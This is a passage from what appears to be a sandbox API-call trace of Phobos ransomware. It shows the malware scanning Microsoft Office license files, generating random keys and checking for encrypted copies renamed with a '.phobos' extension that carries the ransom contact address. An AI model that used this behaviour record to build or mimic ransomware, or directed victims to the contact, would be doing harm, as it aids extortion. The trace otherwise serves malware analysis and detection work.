files\\microsoft office\\root\\licenses16\\skypeforbusinessr_grace-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.530] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.531] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.531] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.531] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11644) returned 1 [0153.531] CloseHandle (hObject=0x564) returned 1 [0153.532] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessr_grace-ul-oob.xrm-ms")) returned 0x220 [0153.532] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessR_Grace-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessr_grace-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.532] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.532] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.532] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.533] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=10671) returned 1 [0153.533] CloseHandle (hObject=0x564) returned 1 [0153.533] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessr_retail-pl.xrm-ms")) returned 0x220 [0153.533] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessR_Retail-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessr_retail-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.533] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.534] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.534] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.534] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=20801) returned 1 [0153.534] CloseHandle (hObject=0x564) returned 1 [0153.534] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessr_retail-ppd.xrm-ms")) returned 0x220 [0153.534] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessR_Retail-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessr_retail-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.535] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.535] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.535] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.536] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11629) returned 1 [0153.536] CloseHandle (hObject=0x564) returned 1 [0153.536] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessr_retail-ul-oob.xrm-ms")) returned 0x220 [0153.536] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessR_Retail-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessr_retail-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.536] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.536] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.536] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.537] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=19974) returned 1 [0153.537] CloseHandle (hObject=0x564) returned 1 [0153.537] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessr_retail-ul-phn.xrm-ms")) returned 0x220 [0153.537] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessR_Retail-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessr_retail-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.537] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.538] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.538] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessr_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.538] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11183) returned 1 [0153.538] CloseHandle (hObject=0x564) returned 1 [0153.539] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessr_trial-pl.xrm-ms")) returned 0x220 [0153.539] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessR_Trial-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessr_trial-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.539] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.539] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.539] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessr_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.540] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=20924) returned 1 [0153.540] CloseHandle (hObject=0x564) returned 1 [0153.540] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessr_trial-ppd.xrm-ms")) returned 0x220 [0153.540] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessR_Trial-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessr_trial-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.540] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.541] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.541] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.541] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11641) returned 1 [0153.541] CloseHandle (hObject=0x564) returned 1 [0153.541] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessr_trial-ul-oob.xrm-ms")) returned 0x220 [0153.541] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessR_Trial-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessr_trial-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.542] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.675] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.675] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.678] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=6817) returned 1 [0153.679] CloseHandle (hObject=0x564) returned 1 [0153.679] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessvl_kms_client-ppd.xrm-ms")) returned 0x220 [0153.679] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessVL_KMS_Client-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessvl_kms_client-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.679] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\SkypeforBusinessVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\skypeforbusinessvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.679] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.679] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subscription-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.680] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11199) returned 1 [0153.680] CloseHandle (hObject=0x564) returned 1 [0153.680] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subscription-pl.xrm-ms")) returned 0x220 [0153.680] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subscription-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.680] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subscription-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.681] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.681] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subscription-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.681] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=21413) returned 1 [0153.681] CloseHandle (hObject=0x564) returned 1 [0153.681] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subscription-ppd.xrm-ms")) returned 0x220 [0153.682] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subscription-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.682] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subscription-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.682] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.682] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.683] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11644) returned 1 [0153.683] CloseHandle (hObject=0x564) returned 1 [0153.683] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subscription-ul-oob.xrm-ms")) returned 0x220 [0153.683] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subscription-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.683] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.683] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.683] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subtest-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.684] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11179) returned 1 [0153.684] CloseHandle (hObject=0x564) returned 1 [0153.684] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subtest-pl.xrm-ms")) returned 0x220 [0153.684] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_SubTest-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subtest-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.684] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subtest-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.684] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.684] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subtest-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.685] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=20922) returned 1 [0153.685] CloseHandle (hObject=0x564) returned 1 [0153.685] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subtest-ppd.xrm-ms")) returned 0x220 [0153.685] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_SubTest-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subtest-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.700] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subtest-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.701] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.701] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subtest-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0153.702] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11623) returned 1 [0153.703] CloseHandle (hObject=0x570) returned 1 [0153.703] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subtest-ul-oob.xrm-ms")) returned 0x220 [0153.703] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_SubTest-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subtest-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.703] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subtest-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, 